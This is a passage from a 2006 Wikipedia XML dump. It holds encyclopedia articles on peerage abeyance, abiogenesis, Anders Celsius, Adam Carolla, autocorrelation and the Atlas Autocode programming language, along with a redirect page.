      <text xml:space="preserve">'''Abeyance ''' (from the Old French ''abeance'' meaning &quot;gaping&quot;), a state of expectancy in respect of property, titles or office, when the right to them is not [[vesting|vested]] in any one person, but awaits the appearance or determination of the true owner.  In law, the term abeyance can only be applied to such future estates as have not yet vested or possibly may not vest.  For example, an estate is granted to A for life, with [[Remainder (law)|remainder]] to the heir of B.  During B's lifetime, the remainder is in abeyance, for until the death of B it is uncertain who his heir is.  Similarly the [[Freehold (real property)|freehold]] of a [[benefice]], on the death of the incumbent, is said to be in abeyance until the next incumbent takes possession.  

==Law of peerages==
The most common use of the term is in the case of English [[peerage]] dignities.  Most such peerages pass to [[Order of succession#Salic Law|heirs-male]], but the ancient [[barony|baronies]] created by [[hereditary peer#Writs of summons|writ]], as well as some very old [[earldom]]s, pass instead to [[Order of succession#Primogeniture|heirs-general]], also known as ''male primogeniture''.  In this system, sons are preferred from eldest to youngest, the heirs of a son over the next son, and and any son over daughters, but there is no preference among daughters: they or their heirs inherit equally.

If the daughter is an only child or her sisters are deceased and have no living issue, she (or her heir) is vested with the title; otherwise, since a peerage cannot be shared nor divided, the dignity goes into abeyance between the sisters or their heirs, and is held by no one.  If through lack of issue, marriage or both, eventually only one person represents the claims of all the sisters, he or she can claim the dignity as a matter of right, and the abeyance is said to be terminated.  On the other hand, the number of prospective heirs can grow quite large, since each share potentially can be divided between daughters.

A co-heir may petition the Crown for a termination of the abeyance.  The Crown may choose to grant the petition, but if there is there is any doubt whatsoever as to the pedigree of the petitioner, the claim is normally referred to the [[Peerage law#Peerage disputes|Committee for Privileges]].  If the claim is unopposed, the Committee will generally award the claim, unless there is evidence of [[collusion]], the peerage has been in abeyance for more than a century, or if the petitioner holds less than one-third of the claim.

It is entirely possible for a peerage to remain in abeyance for centuries. For example, the [[Baron Grey of Codnor|Barony of Grey of Codnor]] was in abeyance for over 490 years between [[1496]] and [[1989]], and the [[Baron Hastings|Barony of Hastings]] was similarly in abeyance for over 299 years from [[1542]] to [[1841]]. Some other baronies became abeyant in the thirteenth century, and the abeyance has yet to be terminated.  The only titles other than a barony that have yet gone into abeyance are the [[Baron Arlington|earldom of Arlington and the viscountcy of Thetford]], which are united. 

Titles in the [[Peerage of Scotland]] cannot go into abeyance. In Scotland, the eldest sister is preferred over younger sisters; sisters are not considered equal coheirs.

It is common, but incorrect, to speak of peerage dignities which are dormant (i.e. unclaimed) as being in abeyance.

==References==
*{{1911}}
*See also George Edward Cokayne, [[The Complete Peerage]].

[[Category:Peerage]]</text>
    </revision>
  </page>
  <page>
    <title>Abiogenesis</title>
    <id>2721</id>
    <revision>
      <id>41537823</id>
      <timestamp>2006-02-28T00:41:29Z</timestamp>
      <contributor>
        <ip>194.106.165.117</ip>
      </contributor>
      <text xml:space="preserve">{{mergefrom|Biopoesis}}

'''Abiogenesis''' ([[Greek language|Greek]] ''a-bio-genesis'', &quot;non biological origins&quot;) is, in its most general sense, the generation of life from non-living matter.  Today the term is primarily used to refer to theories about the chemical [[origin of life]], such as from a  [[primordial soup]]. Earlier notions of abiogenesis, now more commonly known as  '''spontaneous generation''', held that living organisms are generated by decaying organic substances, e.g. that mice spontaneously appear in stored grain or maggots spontaneously appear in meat. (That idea, which has long been known to be incorrect, will be called &quot;Aristotelian abiogenesis&quot; in this article.)

==History of abiogenesis hypotheses==
''Aristotelian abiogenesis'', also known as ''spontaneous generation'', (and, in older texts, ''Generatio aequivoca, Generatio primaria, archegenesis, autogenesis,'' and ''archebiosis''), was the theory according to which fully formed living organisms sometimes arise from not-living matter.  [[Aristotle]] explicitly taught this form of abiogenesis, and laid it down as an observed fact that some animals spring from putrid matter, that [[aphid]]s arise from the dew which falls on plants, that [[flea]]s are developed from putrid matter, that mice come from dirty hay, and so forth. Alexander Ross, in commenting on Sir [[Thomas Browne]]'s doubt as to &quot;whether mice may be bred by putrefaction&quot;, gives a clear statement of the common opinion on abiogenesis held until about two centuries ago.  Ross wrote: 
&lt;blockquote&gt;
So may he (Sir Thomas Browne) doubt whether in cheese and timber worms are generated; or if beetles and wasps in cows' dung; or if butterflies, locusts, grasshoppers, shellfish, snails, eels, and such like, be procreated of putrefied matter, which is apt to receive the form of that creature to which it is by formative power disposed.  To question this is to question reason, sense and experience.  If he doubts of this let him go to [[Egypt]], and there he will find the fields swarming with mice, begot of the mud of Nylus, to the great calamity of the inhabitants.
&lt;/blockquote&gt;
The first step in the scientific refutation of the theory of Aristotelian abiogenesis was taken by the [[Italy|Italian]] [[Francesco Redi]], who, in 1668, proved that no maggots were ''bred'' in meat on which flies were prevented by wire screens from laying their eggs.  From the seventeenth century onwards it was gradually shown that, at least in the case of all the higher and readily visible organisms, spontaneous generation did not occur, but that [[omne vivum ex ovo]], every living thing came from a pre-existing living thing. 

The invention of the [[microscope]] carried the refutation further.  In 1683 [[Antoni van Leeuwenhoek]] discovered bacteria, and it was soon found that however carefully organic matter might be protected by screens, or by being placed in stoppered receptacles, putrefaction set in, and was invariably accompanied by the appearance of myriad bacteria and other low organisms.  As knowledge of microscopic forms of life increased, so the apparent possibilities of abiogenesis increased, and it became a tempting hypothesis that whilst the higher forms of life arose only by generation from their kind, there was a perpetual abiogenetic fount by which the first steps in the evolution of living organisms continued to arise, under suitable conditions, from inorganic matter. This was mostly disproved by [[Lazzaro Spallanzani]], who, in 1768, proved that [[microbe]]s came from the air, and could be killed by boiling. His work paved the way for Louis Pasteur.

It was due chiefly to [[Louis Pasteur]] that the occurrence of abiogenesis in the microscopic world was disproved as much as its occurrence in the macroscopic world. If organic matter were first sterilized and then prevented from contamination from without, putrefaction did not occur, and the matter remained free from microbes.  The nature of sterilization, and the difficulties in securing it, as well as the extreme delicacy of the manipulations necessary, made it possible for a very long time to be doubtful as to the application of the phrase ''omne vivum ex vivo'' to the microscopic world, and there still remain a few belated supporters of abiogenesis.  Subjection to the temperature of boiling water for, say, half an hour seemed an efficient mode of sterilization, until it was discovered that the spores of bacteria are so involved in heat-resisting membranes, that only prolonged exposure to dry, baking heat can be recognized as an efficient process of sterilization.  Moreover, the presence of bacteria, or their spores, is so universal that only extreme precautions guard against a re-infection of the sterilized material.  It was thus concluded definitely that all known living organisms arise only from pre-existing living organisms.

== Chemical evolution ==
''Main article:'' [[Origin of life]]

The experiments of Louis Pasteur disproved Aristotelian abiogenesis, but they say nothing about chemical evolution, which is assumed to happen under totally different conditions and far longer timespans. 

Many scientists, such as [[T. H. Huxley]], postulate a &quot;primordial archebiosis&quot;, in which the living organisms observed in the present world had originally arisen in a series of stages from non-living matter.

Unlike Aristotelian abiogenisis, chemical evolution does not propose the spontaneous creation of complex lifeforms out of anorganic substances, but a complex process with several stages. The core of any chemical evolution are self-catalytic molecules. 

''See also:'' [[Hypercycle]], [[RNA world hypothesis]], [[proteinoid]], [[Miller experiment]].

==Critics==
The modern concept of abiogenesis has been criticised by scientists such as [[Fred Hoyle|Sir Fred Hoyle]] and [[Hubert Yockey]]; who were not, however, biologists. Leading biologists point to fundamental assumptions in their arguments which have little to no bearing on abiogenesis theories or research.  Francis Crick should here be mentioned as an exception.

===Yockey===
Information theorist Hubert Yockey argued that chemical evolutionary research raises the question: 
&lt;blockquote&gt;
Research on the origin of life seems to be unique in that the conclusion has already been authoritatively accepted &amp;#8230; . What remains to be done is to find the scenarios which describe the detailed mechanisms and processes by which this happened.

One must conclude that, contrary to the established and current wisdom a scenario describing the [[genesis]] of life on earth by chance and natural causes which can be accepted on the basis of fact and not faith has not yet been written. (Yockey, 1977.  A calculation of the probability of spontaneous biogenesis by information theory, ''Journal of Theoretical Biology'' '''67:'''377&amp;#8211;398, quotes from pp. 379, 396.)
&lt;/blockquote&gt;
In a book he wrote 15 years later, Yockey argued that the idea of abiogenesis from a primordial soup is a failed [[paradigm]]:
&lt;blockquote&gt;
Although at the beginning the paradigm was worth consideration, now the entire effort in the primeval soup paradigm is self-deception on the [[ideology]] of its champions. &amp;#8230; 

The history of science shows that a paradigm, once it has achieved the status of acceptance (and is incorporated in textbooks) and regardless of its failures, is declared invalid only when a new paradigm is available to replace it. Nevertheless, in order to make progress in science, it is necessary to clear the decks, so to speak, of failed paradigms. This must be done even if this leaves the decks entirely clear and no paradigms survive. It is a characteristic of the true believer in [[religion]], philosophy and ideology that he must have a set of beliefs, come what may (Hoffer, 1951). Belief in a primeval soup on the grounds that no other paradigm is available is an example of the logical fallacy of the false alternative. In science it is a virtue to acknowledge [[ignorance]]. This has been universally the case in the history of science as Kuhn (1970) has discussed in detail. There is no reason that this should be different in the research on the origin of life. (Yockey, 1992. ''Information Theory and Molecular Biology'', p. 336, [[University of Cambridge|Cambridge University]] Press, UK, ISBN 0-521-80293-8).
&lt;/blockquote&gt;
Yockey, in general, possesses a highly critical attitude toward people who give credence toward natural origins of life, often invoking words like &quot;faith&quot; and &quot;ideology&quot;. Yockey's publications have become favorites to quote among [[creationist]]s, though he is not a creationist himself (as noted in this 1995 email [http://www.asa3.org/archive/evolution/199602/0125.html]).

===Panspermia advocates===
[[Panspermia]], the idea that life came to Earth from elsewhere in the universe, is viewed by some as a criticism of abiogenesis. However, panspermia hypotheses simply transfer the ''origin problem'' elsewhere without offering a solution, so it does not necessarily address or criticize abiogenesis.

====Crick====
[[Francis Crick]], [[molecular biologist]] and [[neuroscience|neuroscientist]], most noted for being one of the co-discoverers of the structure of the [[DNA]] molecule, and [[chemist]] [[Leslie Orgel]] co-proposed [[Panspermia#Directed Panspermia|Directed Panspermia]] as the mechanism through which life started on Earth.

====Hoyle====
[[Fred Hoyle|Sir Fred Hoyle]], with [[Chandra Wickramasinghe]], was a proponent of [[Panspermia]], first proposed by the [[Ancient Greece|Greek]] [[philosopher]] [[Anaxagoras]].  Hoyle became a staunch [[Fred_Hoyle#Rejection_of_chemical_evolution|critic of chemical evolution]] to explain the [[Naturalism (Philosophy)|naturalistic]] [[origin of life]].  Critics have shown that Hoyle's understanding of evolution is radically out of touch with modern biology. Although the hypothesis of panspermia is not in conflict with the idea of abiogenesis, Hoyle's interpretation of panspermia is in conflict.
&lt;!-- Section may be appropriate, but did not contain any actual religious criticism of the theory. Compare version prior to 25-Apr-2005.
===Religious criticism of the theory===
--&gt;

==References==
*''Things Come to Life'' by Henry Harris (2002) ISBN 0198515383
*Buehler, Lukas K. (2000-2005) ''The physico-chemical basis of life'', http://www.whatislife.com/about.html accessed [[27 October]] [[2005]].

==External links==
*[http://www.talkorigins.org/faqs/abioprob/spontaneous-generation.html Spontaneous Generation and the Origin of Life] &amp;#8212; an article part of the [[Talk.Origins]] [[FAQ]]
*[http://www.talkorigins.org/faqs/abioprob/abioprob.html Probability of Abiogenesis Calculations] &amp;#8212; part of the Talk.Origins FAQ

[[Category:Origin of life]]

[[da:Abiogenese]]
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[[es:Abiogénesis]]
[[eo:Abiogenezo]]
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[[sv:Abiogenes]]</text>
    </revision>
  </page>
  <page>
    <title>Anders Celsius</title>
    <id>2722</id>
    <revision>
      <id>40360014</id>
      <timestamp>2006-02-20T01:23:14Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">[[image:celsius.jpg|thumb|Anders Celsius]]
[[Image:UppsalaCelsiusObservatory Busser.jpg|thumb|The observatory of Anders Celsius, from a contemporary engraving.]]

'''Anders Celsius''' ([[November 27]], [[1701]] &amp;ndash; [[April 25]], [[1744]]) was a [[Sweden|Swedish]] [[astronomy|astronomer]].

Celsius was born at [[Uppsala]] in [[Sweden]]. He was professor of astronomy at [[Uppsala University]] from [[1730]] to [[1744]], but traveled from [[1732]] to [[1735]] visiting notable observatories in [[Germany]], [[Italy]] and [[France]].

At [[Nuremberg]] he published in [[1733]] a collection of 316 observations of the [[aurora borealis]] made by himself and others over the period 1716-1732. 
In [[Paris]] he advocated the measurement of an arc of the meridian in [[Lapland]], and in [[1736]] took part in the expedition organized for that purpose by the [[French Academy of Sciences]].

Celsius was the founder of the [[Uppsala Astronomical Observatory]] in [[1741]]. He is best known for the [[Celsius]] [[temperature]] scale, first proposed in a paper to the [[Royal Swedish Academy of Sciences]] in [[1742]].

He died of [[tuberculosis]] in [[Uppsala]]. The [[Celsius (crater)|Celsius crater]] on the [[Moon]] is named for him. 

== Publications ==
*''Nova Methodus distantiam solis a terra determinandi'' (1730) (New Method for determining the distance from the Sun to the earth)
*''De observationibus pro figura telluris determinanda'' (1738) (On observations for determining the shape of the earth)

{{astronomer-stub}}
{{Sweden-bio-stub}}

==References==
*{{1911}}

==External links==
{{commons|Anders Celsius}}
*[http://www.astro.uu.se/history/Celsius_eng.html Biography from Uppsala Astronomical Observatory]


[[Category:1701 births|Celsius, Anders]]
[[Category:1744 deaths|Celsius, Anders]]
[[Category:Swedish astronomers|Celsius, Anders]]
[[Category:People from Uppsala|Celsius, Anders]]

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    </revision>
  </page>
  <page>
    <title>Adam Carolla</title>
    <id>2723</id>
    <revision>
      <id>42006193</id>
      <timestamp>2006-03-03T04:23:45Z</timestamp>
      <contributor>
        <username>Rookkey</username>
        <id>46208</id>
      </contributor>
      <minor />
      <comment>spacing</comment>
      <text xml:space="preserve">[[Image:Adam Carolla.jpg|thumb|Adam Carolla]]
'''Adam Carolla''' (born [[May 27]], [[1964]] in [[Philadelphia, Pennsylvania]]) is an [[United States|American]] [[comedy|comedic]] [[radio personality]] and [[television personality]], best known for co-hosting the radio show ''[[Loveline]]'' and ''[[The Man Show]]'' on TV. 

Carolla was born to an [[Italian American]] father and a [[Hungarian American]] mother. He attended [[North Hollywood High School]], where he was voted class clown and was the [[captain (sports)|captain]] of his [[American football|football]] team but never received good grades, graduating with a very low 1.75 [[grade point average]]. Carolla began living on his own at the age of 18 and briefly attended [[Los Angeles Valley College]], a [[junior college]], before dropping out to work in a series of jobs, such as a [[carpet]] cleaner, [[carpenter]], and [[boxing]] instructor. 

In his spare time he worked on his comedy skills, training with [[Acme Comedy Theater]] and attempting [[Stand-up comedy|stand-up]], but he didn't believe either of these were a good fit for him. In his late twenties he heard an ad on the radio seeking a boxing instructor to train [[Jimmy Kimmel]], who at the time was a radio personality on the [[KROQ]] morning show [[Kevin and Bean]] as Jimmy the Sports Guy. Carolla met Kimmel at the radio station and the two became best friends. Carolla eventually joined the show's repertoire as Mr. Birchum, the [[Vietnam veteran]] shop teacher. 

Carolla was offered the job of co-hosting ''[[Loveline]]'' with [[physician]] [[Dr. Drew Pinsky]] in 1995, replacing [[Riki Rachtman]]. ''Loveline'' is a [[radio syndication|syndicated]] radio program produced by [[Westwood One]], and was also for several years a television show for [[MTV]]. On ''Loveline'', Carolla often gave extended commentary about matters having little to do with the official subject matter of the show. Common topics included his dislike of religion, junior college, traffic/parking enforcement,  and political extremists and his preference for pie over cake (along with a great many other topics). Carolla brought to the show his ability to naturally add a humorous slant to the callers' problems.

Carolla then went on to do ''[[The Man Show]]'' with Kimmel on [[Comedy Central]] from 1999 to 2003. He left ''The Man Show'' at the same time as his good friend Kimmel, even after having been reportedly offered $100,000 per episode to stay on. 

Carolla has continued his work with Kimmel as a writer and regular guest on ''[[Jimmy Kimmel Live]]''. With partner [[Daniel Kellison]], they are the heads of [[Jackhole Productions]] and created another television show named ''[[Crank Yankers]]'' for Comedy Central, which revived the Mr. Birchum character.

Carolla has also done [[voiceover]]s for [[cartoon]]s, including Commander Nebula on the [[Disney Channel|Disney]] animated series ''[[Buzz Lightyear of Star Command]]'', [[Death (personification)|Death]] on ''[[Family Guy]]'' (replacing [[Norm MacDonald]]) and Spanky Ham on ''[[Drawn Together]]''.

In early [[August 2005]], Carolla began hosting the [[talk show]] ''[[Too Late with Adam Carolla]]'' on Comedy Central.

On [[August 4]], [[2005]], Carolla announced that he would leave ''Loveline'' to pursue a position in morning radio, replacing [[Howard Stern]] in a number of morning markets.  Adam's last night on ''Loveline'' was [[November 3]], [[2005]], to allow him to have time to prepare for his morning debut at the beginning of 2006. On [[October 25]], [[Infinity Broadcasting]] announced that it would be replacing Stern with Carolla on several radio stations in the [[West Coast of the United States|western United States]]. On [[January 3]], [[2006]], Carolla began his new morning radio show, ''[[The Adam Carolla Show]]'', on stations in Los Angeles, Phoenix, San Francisco, Portland, San Diego, Seattle, Las Vegas, Fresno and Sacramento.  As of [[January 6]], [[2006]], east coast and Dallas affiliates were already in discussions with CBS Radio, to drop [[David Lee Roth]] and substitute Carolla.  

Circa [[August 15]], [[2005]], Carolla became a member of the advisory board of [[Marijuana Policy Project]] after devoting nearly an entire episode of his Comedy Central show to talking with ''[[Weeds (television)|Weeds]]'' star [[Kevin Nealon]] about the absurdities of the war on marijuana. [http://www.mpp-vip.org/home/]

Carolla's morning show became the subject of controversy within a few weeks of airing when on [[January 24]], [[2006]], Carolla played a segment which spoofed the upcoming [[Asian Excellence Awards]], which honor [[Asian American]] media accomplishments. The spoof consisted of what sounded like a typical excerpt from an awards show, except that the dialogue of the actors consisted only of the words &quot;ching&quot; and &quot;chong&quot;, repeated  [http://capwiz.com/napalc/utr/1/ENBVFKNCNE/EOVTFKNCVB/592959946 over and over]. (The actual award show was conducted in English.) Branding the segment as demeaning and racist, several Asian American organizations (such as the [[NAAAP]]) threatened to ask advertisers to withdraw their support from the show if the station did not issue an apology. [http://www.aaja.org/news/mediawatch/2006_01_27_1/] [http://asianamericanmedia.org/rf_cms/index.php?cmd=showPage&amp;page_id=1.11.2.4.5] On [[February 22]], [[2006]], Carolla without fanfare read a brief apology for the segment, in which he said that his show had regrettably [http://www.angryasianman.com/other/adamcarolla2006-02-22.mp3 &quot;crossed the line&quot;].

Carolla often says on-air that he is now, &quot;''literally'' a millionaire. Literally&quot;. He married his longtime girlfriend [[Lynette Paradise]] in 2002, and they are currently expecting twins.

Although raised as a [[Christian]], Carolla is an [[atheist]].

== Earnings ==

Adam is fond of pressuring guests to reveal their earnings for a magazine layout, TV show, commerical, etc. To be fair he reveals his earnings on-air. 

On the [[Loveline]] radio program from May 5th, 2002 Adam read his Social Security Earnings Statement. It is as follows.

'''1980''': $232

'''1981''': $746

'''1982''': $1,093

'''1983''': $2,289

'''1984''': $9,367

'''1985''': $0

'''1986''': $17,672

'''1987''': $2,553

'''1988''': $0

'''1989''': $22,543

'''1990''': $6,312

'''1991''': $0

'''1992''': $3,500

'''1993''': $3,500

'''1994''': $6,442

'''1995''': $36,000

'''1996''': $316,424 (the year he met Jimmy Kimmel)

'''1997''': $354,661

'''1998''': $543,453

'''1999''': $1,237,903

'''2000''': $1,013,726



==External links==
* {{imdb name|id=0004805|name=Carolla, Adam}}
*[http://www.adam.freefm.com/ Official Free FM bio]
*[http://www.bankrate.com/brm/news/investing/20060103c1.asp Bankrate.com - Interview]
{{wikiquote}}

[[Category:1964 births|Carolla, Adam]]
[[Category:Living people|Carolla, Adam]]
[[Category:American comedians|Carolla, Adam]]
[[Category:American radio personalities|Carolla, Adam]]
[[Category:Atheists|Carolla, Adam]]
[[Category:Hungarian-Americans|Carolla, Adam]]
[[Category:Italian-Americans|Carolla, Adam]]
[[Category:People from Los Angeles|Carolla, Adam]]
[[Category:People from Philadelphia|Carolla, Adam]]
[[Category:Television talk show hosts|Carolla, Adam]]
[[Category:American voice actors|Carolla, Adam]]

==Trivia==
*On [[Comedy Central]]'s ''Roast of [[Pamela Anderson]]'', [[Greg Giraldo]] called Adam &quot;[[Pete Sampras]] with [[Down's Syndrome]].&quot;</text>
    </revision>
  </page>
  <page>
    <title>Autocorrelation</title>
    <id>2724</id>
    <revision>
      <id>34671487</id>
      <timestamp>2006-01-10T22:39:10Z</timestamp>
      <contributor>
        <ip>205.200.7.228</ip>
      </contributor>
      <comment>minor grammar typo fixed (showed/shown)</comment>
      <text xml:space="preserve">'''Autocorrelation''' is a mathematical tool used frequently in [[signal processing]] for analysing functions or series of values, such as [[time domain]] [[signal (information theory)|signals]]. It is the [[cross-correlation]] of a signal with itself.  Autocorrelation is useful for finding repeating patterns in a signal, such as determining the presence of a periodic signal which has been buried under noise, or identifying the fundamental frequency of a signal which [[missing fundamental|doesn't actually contain that frequency component]], but implies it with many [[harmonic]] frequencies.

== Definitions ==

Different definitions of autocorrelation are in use depending on the field of study which is being considered and not all of them are equivalent.  In some fields, the term is used interchangeably with [[autocovariance]].  

=== Statistics ===

In [[statistics]], the autocorrelation of a discrete [[time series]] or a process ''X''&lt;sub&gt;''t''&lt;/sub&gt; is simply the [[correlation]] of the process against a time-shifted version of itself.  If ''X''&lt;sub&gt;''t''&lt;/sub&gt; is [[stationary process|second-order stationary]] with mean &amp;mu; then this definition is

:&lt;math&gt;R(k) = \frac{E[(X_i - \mu)(X_{i+k} - \mu)]}{\sigma^2}&lt;/math&gt;

where E is the [[expected value]] and ''k'' is the time shift being considered (usually referred to as the lag).  This function has the attractive property of being in the range [&amp;minus;1,&amp;nbsp;1] with 1 indicating perfect correlation (the signals exactly overlap when time shifted by ''k'') and &amp;minus;1 indicating perfect anti-correlation.  It is common practice in many disciplines to drop the normalisation by &amp;sigma;&lt;sup&gt;2&lt;/sup&gt; and use the term ''autocorrelation'' interchangeably with ''autocovariance''.

=== Signal processing ===

In signal processing, given a signal f(t), the continuous autocorrelation ''R''&lt;sub&gt;''f''&lt;/sub&gt;(&amp;tau;) is the continuous cross-correlation of ''f''(''t'') with itself, at lag ''&amp;tau;'', and is defined as:

:&lt;math&gt;R_f(\tau) = f^*(-\tau) \circ f(\tau) = \int_{-\infty}^{\infty} f(t+\tau)f^*(t)\, dt = \int_{-\infty}^{\infty} f(t)f^*(t-\tau)\, dt&lt;/math&gt;

where ''f&lt;sup&gt;*&lt;/sup&gt;'' represents the [[complex conjugate]] and the circle represents [[convolution]].  For a real function, ''f&lt;sup&gt;*&lt;/sup&gt;'' = ''f''.

Formally, the discrete autocorrelation ''R'' at lag ''j'' for signal ''x&lt;sub&gt;n&lt;/sub&gt;'' is 

&lt;!-- :''R(j) = E{(x(iin)-m)(x(n-j)-m)]}'', --&gt;
:&lt;math&gt;R(j) = \sum_n (x_n-m)(x_{n-j}-m )\,&lt;/math&gt;

where &lt;!-- the [[expected value]] operator ''E{}'' is taken over ''n'', and --&gt; ''m'' is the [[average]] value ([[expected value]]) of ''x&lt;sub&gt;n&lt;/sub&gt;''. Quite frequently, autocorrelations are calculated for zero-centered signals, that is, for signals with zero mean. The autocorrelation definition then becomes 

&lt;!-- :''R(j) = E[x(n)x(n-j)]'', --&gt;
:&lt;math&gt;R(j) = \sum_n x_n x_{n-j}.\,&lt;/math&gt;

Multi-[[dimension]]al autocorrelation is defined similarly.  For example, in three dimensions the autocorrelation would be defined as 

&lt;!-- :''R(j,k,l) = E{[x(n,q,r)-m][x(n-j,q-k,r-l)-m]}''. --&gt;
:&lt;math&gt;R(j,k,\ell) = \sum_{n,q,r} (x_{n,q,r}-m)(x_{n-j,q-k,r-\ell}-m).&lt;/math&gt;

== Properties ==

In the following, we will describe properties of one-dimensional autocorrelations only, since most properties are easily transferred from the one-dimensional case to the multi-dimensional cases.

* A fundamental property of the autocorrelation is symmetry, ''R''(''i'')&amp;nbsp;=&amp;nbsp;''R''(&amp;minus;''i''), which is easy to prove from the definition. In the continuous case, the autocorrelation is an even function
 
::&lt;math&gt;R_f(-\tau) = R_f(\tau)\,&lt;/math&gt;

:when ''f'' is a real function, and an [[Hermitian]] function 

::&lt;math&gt;R_f(-\tau) = R_f^*(\tau)\,&lt;/math&gt;

:when ''f'' is a complex function.

* The continuous autocorrelation function reaches its peak at the origin, where it takes a real value, i.e. for any delay ''&amp;tau;'', &lt;math&gt;|R_f(\tau)| \leq R_f(0)&lt;/math&gt;.  This is a consequence of the [[Cauchy-Schwarz inequality]].  The same result holds in the discrete case.

* The autocorrelation of a [[periodic function]] is, itself, periodic with the very same period.

* The autocorrelation of the sum of two completely uncorrelated functions (the cross-correlation is zero for all &amp;tau;) is the sum of the autocorrelations of each function separately.

* Since autocorrelation is a specific type of [[cross-correlation]], it maintains all the properties of cross-correlation.

* The autocorrelation of a [[white noise]] signal will have a strong peak at &amp;tau;&amp;nbsp;=&amp;nbsp;0 and will be close to 0 for all other &amp;tau;.  This shows that a sampled instance of a white noise signal is not statistically correlated to a sample instance of the same white noise signal at another time.  &lt;!-- If white noise is added to a periodic signal, the autocorrelation of the  resulting function will... --&gt;

* The [[Wiener-Khinchin theorem]] relates the autocorrelation function to the [[spectral density|power spectral density]]  via the [[Fourier transform]]:

::&lt;math&gt;R(\tau) = \int_{-\infty}^\infty S(f) e^{j 2 \pi f \tau} \, df&lt;/math&gt;

::&lt;math&gt;S(f) = \int_{-\infty}^\infty R(\tau) e^{- j 2 \pi f \tau} \, d\tau.&lt;/math&gt;

==Applications==

* One application of autocorrelation is the measurement of [[optical spectrum|optical spectra]] and the measurement of very-short-duration [[light]] [[ultrashort pulse|pulses]] produced by [[laser]]s, both using [[optical autocorrelation|optical autocorrelators]].

* In optics, normalized autocorrelations and cross-correlations give the [[degree of coherence]] of an electromagnetic field.

* In [[signal processing]], autocorrelation can give information about repeating events like [[music]]al [[beat]]s or [[pulsar]] [[frequency|frequencies]], even though it cannot tell the position in time of the beat.

The following example show the autocorrelation of a rendered [[MIDI]] file with [[The Blue Danube]] (on the left), and its autocorrelation (only the first 4 seconds are shown) of it.
{|
|-
| [[Image:AC_danube_base.png|thumb|400px|The original signal, from [[The Blue Danube]].]]
| [[Image:AC_danube_acorr.png|thumb|385px|The autocorrelation of the signal (the first 4 seconds).]]
|}

==External links==
* [http://mathworld.wolfram.com/Autocorrelation.html MathWorld: Autocorrelation]
* [http://www.dsprelated.com/comp.dsp/keyword/Autocorrelation.php Autocorrelation articles in Comp.DSP (DSP usenet group).]

[[Category:Statistics]]
[[Category:Signal processing]]
[[Category:Fourier analysis]]

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[[zh:自相關函數]]</text>
    </revision>
  </page>
  <page>
    <title>Aesthetic</title>
    <id>2725</id>
    <revision>
      <id>39820009</id>
      <timestamp>2006-02-16T02:00:30Z</timestamp>
      <contributor>
        <username>Antandrus</username>
        <id>57658</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/72.28.29.141|72.28.29.141]] ([[User talk:72.28.29.141|talk]]) to last version by Branddobbe</comment>
      <text xml:space="preserve">#REDIRECT [[Aesthetics]]</text>
    </revision>
  </page>
  <page>
    <title>Atlas Autocode</title>
    <id>2726</id>
    <revision>
      <id>41626373</id>
      <timestamp>2006-02-28T16:48:54Z</timestamp>
      <contributor>
        <ip>129.113.28.125</ip>
      </contributor>
      <comment>Discovered html entity ref for 1/2 symbol. Fixes ugly line spacing.</comment>
      <text xml:space="preserve">'''Atlas Autocode''' (AA) was a [[programming language]] developed at Manchester University for the [[Atlas Computer]]. It was developed by Tony Brooker as an improvement on the [[ALGOL]] [[programming language]]s, removing some of Algol's poorer features such as passing parameters by name.  It featured explicitly typed variables, subroutines and functions.  The AA compiler generated range-checking for array accesses, and the language allowed an array to have dimensions that were determined at run-time (i.e. you could declare an array as &lt;code&gt;&lt;u&gt;integer&lt;/u&gt; &lt;u&gt;array&lt;/u&gt; Thing (i:j)&lt;/code&gt;, where &lt;code&gt;i&lt;/code&gt; and &lt;code&gt;j&lt;/code&gt; were calculated values).  Atlas Autocode included a &lt;code&gt;&lt;u&gt;complex&lt;/u&gt;&lt;/code&gt; data type which would support imaginary numbers (eg the square root of -1), a feature which was dropped when the language later morphed into the [[Edinburgh IMP]] programming language.  (Imp was an extension of AA and was notable for being used to write the [[Edinburgh Multiple Access System|EMAS]] [[operating system]].)

Keywords in AA were represented as being underlined, however for the sake of easy typing it was possible to [[Stropping|strop keywords]] by placing a &quot;&lt;code&gt;%&lt;/code&gt;&quot; sign in front of them, for example
the keyword &lt;code&gt;&lt;u&gt;endofprogramme&lt;/u&gt;&lt;/code&gt; could be typed as &lt;code&gt;%end %of %programme&lt;/code&gt; or &lt;code&gt;%endofprogramme&lt;/code&gt;


There were no reserved words in the language.  In the statement &lt;code&gt;&lt;u&gt;if&lt;/u&gt; token=if &lt;u&gt;then&lt;/u&gt; &lt;u&gt;result&lt;/u&gt; = token&lt;/code&gt;, there is both a keyword &lt;code&gt;&lt;u&gt;if&lt;/u&gt;&lt;/code&gt; and a variable named &lt;code&gt;if&lt;/code&gt;.

Because of this keyword stropping, it was possible for AA to allow spaces in variable names, such as &lt;code&gt;&lt;u&gt;integer&lt;/u&gt; previous value&lt;/code&gt;.  Spaces were not significant and were removed prior to parsing in a trivial pre-lexing stage called &quot;line reconstruction&quot;.
What the compiler would see in the above example would be &quot;&lt;code&gt;&lt;u&gt;if&lt;/u&gt;token=if&lt;u&gt;thenresult&lt;/u&gt;=token&lt;/code&gt;&quot;.

The syntax for expressions was very close to mathematical standards and allowed implicit multiplication such as &lt;code&gt;z = 3x + y&lt;/code&gt; as an alternative to the more common &lt;code&gt;z = x * 3 + y&lt;/code&gt;.

Atlas Autocode's syntax was influenced by the output device which the author had available, a Flexowriter.  Consequently it allowed symbols like &quot;&amp;frac12;&quot; and superscripts for &quot;&lt;math&gt;i^2&lt;/math&gt;&quot;.  The flexowriter supported overstriking and therefore AA did as well - up to three characters could be overstruck as a single symbol.  For example the character set had no &quot;&amp;uarr;&quot; symbol, so exponentiation was an overstrike of &quot;|&quot; and &quot;*&quot;.  (The underlining of keywords mentioned above could also be done using overstriking.)  The language is described in detail in the [http://history.dcs.ed.ac.uk/archive/docs/atlasautocode.html Atlas Autocode Reference Manual].

When AA was ported to the [[KDF9]] computer, the character set was changed to ISO and that compiler has actually been recovered from an old paper tape by the [http://history.dcs.ed.ac.uk/ Edinburgh Computer History Project] and is available online, as is a high-quality scan of the original Atlas Autocode manual.

